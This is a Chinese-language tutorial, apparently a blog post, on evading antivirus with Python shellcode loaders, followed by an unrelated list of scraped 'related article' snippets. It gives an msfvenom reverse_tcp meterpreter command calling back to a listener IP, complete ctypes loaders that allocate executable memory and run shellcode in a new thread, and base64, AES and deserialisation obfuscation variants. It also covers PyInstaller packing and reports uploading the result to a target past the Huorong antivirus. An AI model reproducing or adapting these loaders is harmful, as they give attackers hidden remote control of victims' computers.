免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall
Python-MSF/CS生成shellcode-上线
cs上线
1.生成shellcode-c或者python

2.打开pycharm工具,创建一个py文件,将原生态执行代码复制进去
shellcode执行代码:
import ctypesfrom django.contrib.gis import ptr#cs#shellcode=bytearray(b"生成的shellcode")#msf的shellcode拼接代码# shellcode = bytearray(b"")# shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"# shellcode += b"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"# print(shellcode)#msf拼接后shellcodeshellcode = bytearray(b'拼接完成shellcode')# 设置VirtualAlloc返回类型为ctypes.c_uint64#在64位系统上运行,必须使用restype函数设置VirtualAlloc返回类型为ctypes.c_unit64,否则默认的是32位ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# 申请内存:调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), #要分配的内存区域的地址ctypes.c_int(len(shellcode)), #分配的大小ctypes.c_int(0x3000), #分配的类型,0x3000代表MEM_COMMIT | MEM_RESERVEctypes.c_int(0x40) #该内存的初始保护属性,0x40代表可读可写可执行属性)# 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buffered,ctypes.c_int(len(shellcode)))# 创建一个线程从shellcode放置位置首地址开始执行handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), #指向安全属性的指针ctypes.c_int(0), #初始堆栈大小ctypes.c_uint64(ptr), #指向起始地址的指针ctypes.c_int(0), #指向任何参数的指针ctypes.c_int(0), #创建标志ctypes.pointer(ctypes.c_int(0)) #指向接收线程标识符的值的指针)# 等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1)) 3.将生成的shellcode放到执行代码中,运行代码,cs成功上线

MSF上线
1.执行命令,生成shellcode
命令:msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.206.129 lport=4444 -f c

2.msf设置监听

3.将shellcode放到执行脚本中运行
因为msf生成的shellcode是有换行的,所以要进行拼接,如下图:
可以使用图中的拼接直接运行。也可以输出shellcode,使用拼接后的shellcode运行。

直接使用拼接的shellcode:运行脚本成功上线

Python-混淆加密- Base64 & AES & 反序列化等
一、Base64编码
1.运行代码将cs/msf生成的shellcode去掉换行进行base64编码
编码代码:
import base64shellcode = b'生成的shellcode'
s=base64.b64encode(shellcode)
print(s) 也可以使用命令直接生成base64编码的shellcode:
msfvenom -p windows/x64/meterpreter/reverse_tcp --encrypt base64 lhost=192.168.206.129 lport=4444 -f c

2.将经过base64编码的shellcode放入执行代码中,然后在执行代码中加入base64的解码代码。
解码代码:shellcode=base64.b64decode(shellcode)
成功构造免杀脚本,执行脚本msf成功上线

二、AES加密
AES加密代码:
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
import ctypes,base64# 如果text不足16位的倍数就用空格补足为16位def add_to_16(text):if len(text.encode('utf-8')) % 16:add = 16 - (len(text.encode('utf-8')) % 16)else:add = 0text = text + ('\0' * add)return text.encode('utf-8')# 加密函数def encrypt(text):key = '9999999999999999'.encode('utf-8')mode = AES.MODE_CBCiv = b'qqqqqqqqqqqqqqqq'text = add_to_16(text)cryptos = AES.new(key, mode, iv)cipher_text = cryptos.encrypt(text)#print(base64.b64decode(cipher_text))# 因为AES加密后的字符串不一定是ascii字符集的,输出保存可能存在问题,所以这里转为16进制字符串return b2a_hex(cipher_text)def zhixing(shellcode):rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)ctypes.windll.kernel32.WaitForSingleObject(handle, -1)if __name__ == '__main__':# 加密#msf
# s='''base64编码后的shellcode'''#css='base64编码的shellcode'e = encrypt(s)print(e) AES解密执行代码:
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
import ctypes,base64# 如果text不足16位的倍数就用空格补足为16位
def add_to_16(text):if len(text.encode('utf-8')) % 16:add = 16 - (len(text.encode('utf-8')) % 16)else:add = 0text = text + ('\0' * add)return text.encode('utf-8')# 解密后,去掉补足的空格用strip() 去掉
def decrypt(text):key = '9999999999999999'.encode('utf-8')iv = b'qqqqqqqqqqqqqqqq'mode = AES.MODE_CBCcryptos = AES.new(key, mode, iv)plain_text = cryptos.decrypt(a2b_hex(text))shellcode=bytes.decode(plain_text).rstrip('\0')return shellcodedef zhixing(shellcode):shellcode = bytearray(base64.b64decode(shellcode))# 设置VirtualAlloc返回类型为ctypes.c_uint64# 在64位系统上运行,必须使用restype函数设置VirtualAlloc返回类型为ctypes.c_unit64,否则默认的是32位ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# 申请内存:调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), # 要分配的内存区域的地址ctypes.c_int(len(shellcode)), # 分配的大小ctypes.c_int(0x3000), # 分配的类型,0x3000代表MEM_COMMIT | MEM_RESERVEctypes.c_int(0x40) # 该内存的初始保护属性,0x40代表可读可写可执行属性)# 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buffered,ctypes.c_int(len(shellcode)))# 创建一个线程从shellcode放置位置首地址开始执行handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), # 指向安全属性的指针ctypes.c_int(0), # 初始堆栈大小ctypes.c_uint64(ptr), # 指向起始地址的指针ctypes.c_int(0), # 指向任何参数的指针ctypes.c_int(0), # 创建标志ctypes.pointer(ctypes.c_int(0)) # 指向接收线程标识符的值的指针)# 等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))if __name__ == '__main__':#msf#e='AES解密后的shellcode'#cse='AES解密后的shellcode'd = decrypt(e) # 解密zhixing(d) 1.使用cs生成一个64位shellcode,执行代码对其进行base64编码

2.在对编码后的shellcode进行AES加密

3.将AES加密后的shellcode放到AES解密执行代码中。成功构造免杀脚本,执行脚本cs成功上线

三、反序列化
1.将msf生成的shellcode放到代码中进行序列化和base64加密

2.将经过序列化和base64的shellcode放到反序列化和base64解密的执行代码中。成功构造免杀脚本,执行脚本msf成功上线

Python-打包器
以上测试了shellcode的原生态、base64、AES、反序列化等混淆加密的免杀上线方式。但是实战不可能上传py脚本,所以要使用python打包器将py脚本打包为exe执行程序在上传。打包器也能起到免杀效果。
Pyinstall打包器
安装:pip install pyinstaller
参数介绍:
-F, –onefile 打包一个单个文件,如果你的代码都写在一个.py文件的话,可以用这个,如果是多个.py文件就别用
-D, –onedir 打包多个文件,在dist中生成很多依赖文件,适合以框架形式编写工具代码,我个人比较推荐这样,代码易于维护
-K, –tk 在部署时包含 TCL/TK
-a, –ascii 不包含编码.在支持Unicode的python版本上默认包含所有的编码.
-d, –debug 产生debug版本的可执行文件
-w,–windowed,–noconsole 使用Windows子系统执行.当程序启动的时候不会打开命令行(只对Windows有效)
-c,–nowindowed,–console 使用控制台子系统执行(默认)(只对Windows有效)
1.执行命令,将原生态1.py进行打包
命令:pyinstaller -F 1.py
打包后的exe程序在根目录下的dist目录中

2.将打包的脚本上传到目标系统,执行脚本,成功绕过火绒检测,msf成功上线

3.上传了四种打包后的shellcode脚本,结果原生态反而绕过了火绒检测,其他三种经过混淆加密的全部被杀。

相关文章:
免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall
Python-MSF/CS生成shellcode-上线 cs上线 1.生成shellcode-c或者python 2.打开pycharm工具,创建一个py文件,将原生态执行代码复制进去 shellcode执行代码: import ctypesfrom django.contrib.gis import ptr#cs#shellcodebytearray(b"生…...
C#__线程池的简单介绍和使用
/*线程池原理:(有备无患的默认备用后台线程)特点:线程提前建好在线程池;只能用于运行时间较短的线程。*/class Program{static void Main(string[] args){for (int i 0; i < 10; i){ThreadPool.QueueUserWorkItem(Download); …...
安全员(岗位职责)
一、 安全员 是工程项目安全生产、文明施工的直接管理者和责任人,在业务上向 公司 负责; 二、贯彻安全条例和文明施工标准是安全员 工作 准则,执行相关规章、规程是安全员的责任; 三、办理开工前安全监审和安全开工审批,编制项目工程安全监督计划,上报安全措施和分项工程安全施…...
unity 使用声网(Agora)实现语音通话
第一步、先申请一个声网账号 [Agora官网链接](https://console.shengwang.cn/) 第二步在官网创建项目 ,选择无证书模式,证书模式需要tokenh和Appld才能通话 第三步 官网下载SDK 然后导入到unity,也可以直接在unity商店…...
vue2.X 中使用 echarts5.4.0实现项目进度甘特图
vue2.X 中使用 echarts5.4.0实现项目进度甘特图 效果图: 左侧都是名称,上面是时间,当中的内容是日志内容 组件: gantt.vue <template><div id"main" style"width: 100%; height: 100%"></…...
《PostgreSQL与NoSQL:合作与竞争的关系》
🌷🍁 博主猫头虎(🐅🐾)带您 Go to New World✨🍁 🐅🐾猫头虎建议程序员必备技术栈一览表📖: 🛠️ 全栈技术 Full Stack: 📚…...
【FAQ】视频监控管理平台/视频汇聚平台EasyCVR安全检查相关问题及解决方法3.0
智能视频监控系统/视频云存储/集中存储/视频汇聚平台EasyCVR具备视频融合汇聚能力,作为安防视频监控综合管理平台,它支持多协议接入、多格式视频流分发,视频监控综合管理平台EasyCVR支持海量视频汇聚管理,可应用在多样化的场景上&…...
Java 8 新特性解读及应用实践
Java 8 新特性解读及应用实践 一、简介二、Lambda表达式三、流式编程四、日期/时间API1. 概述2. LocalDate、LocalTime、LocalDateTime等类的使用3. 格式化与解析 五、重复注解和类型注解1. 概念与作用2. 重复注解实例3. 类型注解实例 六、小结回顾 一、简介 Java 8带来了众多…...
C++项目实战——基于多设计模式下的同步异步日志系统-④-日志系统框架设计
文章目录 专栏导读模块划分日志等级模块日志消息模块日志消息格式化模块日志消息落地模块日志器模块日志器管理模块异步线程模块 模块关系图 专栏导读 🌸作者简介:花想云 ,在读本科生一枚,C/C领域新星创作者,新星计划导…...
计算机专业毕业设计项目推荐02-个人医疗系统(Java+原生Js+Mysql)
个人医疗系统(Java原生JsMysql) **介绍****系统总体开发情况-功能模块****各部分模块实现** 介绍 本系列(后期可能博主会统一为专栏)博文献给即将毕业的计算机专业同学们,因为博主自身本科和硕士也是科班出生,所以也比较了解计算机专业的毕业设计流程以…...
Nginx__高级进阶篇之LNMP动态网站环境部署
动态网站和LNMP(LinuxNginxMySQLPHP)都是用于建立和运行 web 应用程序的技术。 动态网站是通过服务器端脚本语言(如 PHP、Python、Ruby等)动态生成网页内容的网站。通过这种方式,动态网站可以根据用户的不同请求生成不…...
Zebec 生态 AMA 回顾:Nautilus 以及 $ZBC 的未来
在9月7日,Zebec创始人Sam做客社区,并进行了“Nautilus Chain以及$ZBC的未来”主题的AMA访谈。Sam在本次访谈中对Nautilus Chain生态的价值捕获、Zebec生态布局规划、可能会推出的Nautilus Chain治理通证NAUT进行了解读。本文将对本次AMA进行回顾与总结。…...
NXP iMX8MM 修改 UART4至 Cortex-A53 核心
By Toradex秦海 1). 简介 NXP iMX8MM SoC UART-4 接口在默认的 ATF(ARM Trusted Firmware) 中被 RDC 分配给了 Cortex-M4 核心,用作 M4 核心的 Debug UART。如果这时候在 Cortex-A53 核心 Linux Devcie-tree 配置中使能 UART-4,就会出现 Kernel Oops 错…...
C#控制台程序中使用log4.net来输出日志
Apache log4net 库是一个帮助程序员将日志语句输出到各种输出目标的工具。log4net 是优秀的 Apache log4j™ 框架到 Microsoft .NET 运行时的端口。 我喜欢他可以自定义输出,区分等级等特点。 导入库 我们在工程里添加NuGet的包。输入名称log4net ࿰…...
用GPT干的18件事,能够真正提高学习生产力,建议收藏
用GPT干的18件事,能够真正提高学习生产力,建议收藏。 语法更正 文本翻译 语言转换 代码解释 修复代码错误 作为百科全书 信息提取 好友聊天 创意生成器 采访问题 论文大纲 故事创作 问题类比 创建 SQL 需求 情感分析 将产品描述转变为广告 关键字提取 闲…...
线性代数的本质(二)——线性变换与矩阵
文章目录 线性变换与矩阵线性变换与二阶方阵常见的线性变换复合变换与矩阵乘法矩阵的定义列空间与基矩阵的秩逆变换与逆矩阵 线性变换与矩阵 线性变换与二阶方阵 本节从二维平面出发学习线性代数。通常选用平面坐标系 O x y Oxy Oxy ,基向量为 i , j \mathbf i,…...
JavaScript获取字符串的字节长度
概要 提示:大家都知道,获取字符串的长度可用length来获取。 那么获取这段字符串的字节数呢?英文字母肯定lenght和字节数都一样:都是1而中文lenght1,字节数2因此,需要作的就是把中文字符的字节数计算出来。 …...
[2023.09.13]: Rust Lang,避不开的所有权问题
Rust的所有权问题,在我学Rust的时候就跳过了,因为我知道这玩意儿没有场景就不好理解。没想到场景很快就出现了。 在开发Yew应用组件的时候,涉及到了事件,闭包,自然就引出了所有权问题。 话不多说,下面让我们…...
Redux中间件源码解析与实现
基本介绍 本文中涉及到的关键npm包的版本信息如下: react 的版本为18.2.0 redux的版本为4.1.2 redux-thunk版本为2.4.2 redux-promise版本为0.6.0 redux-logger版本为3.0.6 在Redux源码解析与实现(一)Redux源码解析与实现(二&…...
关于rsync用不了之后
1.尝试找出rsync使用错误原因: 我遇见一个问题:rsync:read errors mapping:communication error on send (70),我查了一下这个问题很大可能是网络链接导致的,然后我用nslookup指令查看了/train2…...
哔哩下载姬DownKyi完整指南:三步掌握B站8K视频下载
哔哩下载姬DownKyi完整指南:三步掌握B站8K视频下载 【免费下载链接】downkyi 哔哩下载姬downkyi,哔哩哔哩网站视频下载工具,支持批量下载,支持8K、HDR、杜比视界,提供工具箱(音视频提取、去水印等ÿ…...
手把手教你用FastBlur打造高级感UI:从对话框背景到沉浸式音乐播放器的完整实现
用FastBlur打造高级UI的实战指南:从对话框到音乐播放器的设计进化 毛玻璃效果早已从iOS的视觉语言演变为现代移动应用设计的通用元素。这种半透明模糊效果不仅能提升界面层次感,还能在不分散用户注意力的情况下创造视觉焦点。本文将带你深入Android平台实…...
5分钟搞定Meson交叉编译:手把手教你配置ARM64目标平台(附DPDK实例)
Meson交叉编译实战指南:从零构建ARM64平台的DPDK应用 第一次接触交叉编译时,我盯着满屏的工具链路径和架构参数发愣——这简直像在解译外星密码。直到发现Meson的交叉编译配置文件,才发现原来构建跨平台应用可以如此优雅。本文将带你用Meson这…...
网易云音乐评论数据分析:用Python爬取+可视化热门歌曲情感倾向
网易云音乐评论数据挖掘:从爬取到情感分析的完整实战指南 音乐平台的用户评论蕴含着丰富的情感价值和商业洞察。作为国内领先的音乐社区,网易云音乐的海量评论数据对产品经理优化功能、市场人员分析用户偏好具有重要价值。本文将系统性地介绍如何通过Pyt…...
WavePWM库:嵌入式LED正弦调光算法与实现
1. WavePWM库概述:正弦波形LED调光的底层实现原理与工程应用 WavePWM是一个面向嵌入式LED驱动场景的轻量级波形PWM计算库,其核心价值不在于直接控制硬件引脚,而在于 以确定性数学模型生成高保真度的正弦(或类正弦/指数࿰…...
Swin2SR惊艳效果展示:低清草稿图秒变4K高清作品集
Swin2SR惊艳效果展示:低清草稿图秒变4K高清作品集 你有没有遇到过这种情况?一张特别有感觉的AI生成图,可惜分辨率太低,放大后全是马赛克;一张珍贵的旧照片,像素模糊得看不清人脸;或者从网上找到…...
C++的std--ranges算法自定义比较器与等价关系在集合操作中的运用
C20引入的std::ranges库为算法操作带来了革命性改进,其中自定义比较器与等价关系的灵活运用,显著提升了集合操作的表达能力。通过精确控制元素间的比较逻辑,开发者能够实现更复杂的业务需求,例如处理自定义对象集合或实现非标准排…...
WWW-万维网
万维网的概念与组成结构万维网(World Wide Web,WWW)是一个分布式的信息存储空间,在这个空间中:一个事物被称为一样 “资源”,并由一个全域 “统一资源定位符”(URL)标识。这些资源通…...
告别云端推理:手把手教你用Vivado HLS在AX7350开发板上部署YOLOv3(附完整工程)
从零部署YOLOv3到AX7350开发板:FPGA加速实战全流程解析 在边缘计算领域,FPGA因其低延迟、高能效和可重构特性,成为深度学习模型部署的热门选择。本文将带您完成YOLOv3目标检测模型在AX7350开发板上的完整部署流程,从环境准备到最终…...
突破远程桌面限制:RDP Wrapper实现多用户并发连接的创新解决方案
突破远程桌面限制:RDP Wrapper实现多用户并发连接的创新解决方案 【免费下载链接】rdpwrap RDP Wrapper Library 项目地址: https://gitcode.com/gh_mirrors/rd/rdpwrap 副标题:适用于Windows Vista至Windows 11全版本的远程桌面功能扩展工具 在…...
